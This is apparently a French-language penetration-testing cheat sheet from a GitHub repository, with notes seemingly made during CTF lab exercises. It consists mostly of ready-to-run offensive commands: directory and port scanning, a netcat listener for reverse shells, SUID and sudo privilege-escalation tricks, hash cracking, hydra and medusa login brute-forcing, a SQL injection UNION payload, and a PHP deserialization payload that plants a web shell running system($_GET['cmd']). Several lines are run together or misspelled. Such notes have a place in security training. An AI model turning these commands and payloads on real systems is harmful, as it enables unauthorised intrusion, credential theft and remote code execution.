https://github.com/veikoon/pentest/blob/master/commandes.md
Utilitaire :
wordlists: ls /usr/share/wordlists/dirb/ tmux : <ctrl+a> </> <*> créer des nouvelles fenêtres
**Endpoint : **
gobuster dir -k -x txt,json,php,html -u http://$IP -w /opt/wordlists/common.txt
gobuster fuzz --exclude-length XXXX -b 404 -k -u http://$IP/fuzz -w /opt/wordlist/common.txt
Rechercher recursivement si tu trouve rien
**Port : **
nmap -sC -sV -A -oN nmap.log $IP
#OU en local
ss -nlpt | grep 22 #regarde les port ouvert comprennant 22 (ssh)
vulnerability :
nikto -h $IP
Si rien ne marche ajouter l'option -Pn au début de nmap
Connexion SSH
ssh -i id_rsa user@$IP -p 22SI code d'erreur no matching host key type found. Their offer: ssh-rsa
Ajouter -oHostKeyAlgorithms=+ssh-rsa
regarde les ports scanné
scan recursivement les folder
avec big.txt
regarder crontab
Github des différentes reverse Shell command
Stabiliser bash :
python -c 'import pty; pty.spawn("/bin/bash")'
ctr+z
stty raw -echo; fg
ENTER
Si accés a l'uppload de fichier penssé a upload un fichier reverse php ?
Ne pas oublier d'écouter le port
nc -lvp 4242
Liste des exploit avec permission
Find all SUID files: "fichier executable avec une autre perm que ton user"
find / -perm -4000 -print 2>>/dev/null
Find all SGID files:
find / -perm -2000 -print 2>>/dev/nullall sudo avaible
sudo -l
(ALL, !root) => sudo -u#-1
Heberger un serveur pour passer des fichier
python2 -m SimpleHTTPServer
PWnk!it Exploit CVE-2021-4034 Github source LinPeass analyse des faille dun système Github Source
haiti -e 42f749ade7f9e195bf475f37a44cafcb
hashcat -m XXX(look man) -a 0 HASH.hash /opt/wordlists/rockyou.txt
JohnTheReapper
john passHash --wordlist=/opt/wordlists/rockyou.txt
gdv ./Programme
disas main
break point
i r (info registry)
x/s $XXXX
gdb jump j *@ (modifié) breakpoint b *@
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'group_concat()get the specified column (in our case, table_name) from multiple returned rows and puts it into one string separated by commas. (modifié)
information_schemacontains information about all the databases and tables the user has access to
exiftool WindowsXP.jpg mogrify -format jpg important.png
java -jar stegsolve.jar
stegsolve
steghide extract –sf image.jpeg
stegseek hellp.jpg /opt/wordlist/common.tx
https://tryhackme.com/room/metasploitintro
smbclient -L $IP smbclien -NL $IP
nmblookup -A $IP
msfconsole Search smb/netbios use auxiliary/scanner/netbios/nbname
medusa -h $IP -U user.txt -P ./password.txt -M ftp hydra -L username.txt -P password.txt ftp://$IP
Mfsconsole :http://10.10.95.58/Lianyu.png
auxiliary(scanner/ftp/ftp_login)
PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt Montrer fichier caché sur ftp :
dir -la
Si il y a une fct
unserialize($variable) dans le code cherche comment ecrire dans debug une version serialisé dun payload de reverse shell en php
tu serialize
<?php
class FormSubmit
{
public $form_file = 'test.php';
public $message = '<?php system($_GET["cmd"]); ?>';
}
print serialize(new FormSubmit);
?>tu execute php code.php
tu navigue vers
Puis vers la page que tu as créé
http://10.10.33.139/test.php?cmd=INSSERT_TA_COMMANDE
RSA
ssh2john privatekey>key.haash
john --wordlist=/opt/wordlists/rockyou.txt key.hash
john --show key.haas
chmod +600 id_rsa
ssh user@$IP -i id_rsahydra -l molly -P rockyou.txt 10.10.219.212 http-post-form "/admin/index.php:username=^USER^&password=^PASS^:F=Your password is incorrect" -VCRUNCH
Generate a dictionary file containing words with a minimum and maximum length of 6 (6 6) using the given characters (0123456789abcdef), saving the output to a file (-0 6chars.txt):
crunch 6 6 0123456789abcdef -o 6chars.txt
Crunch will now generate the following amount of data: 117440512 bytes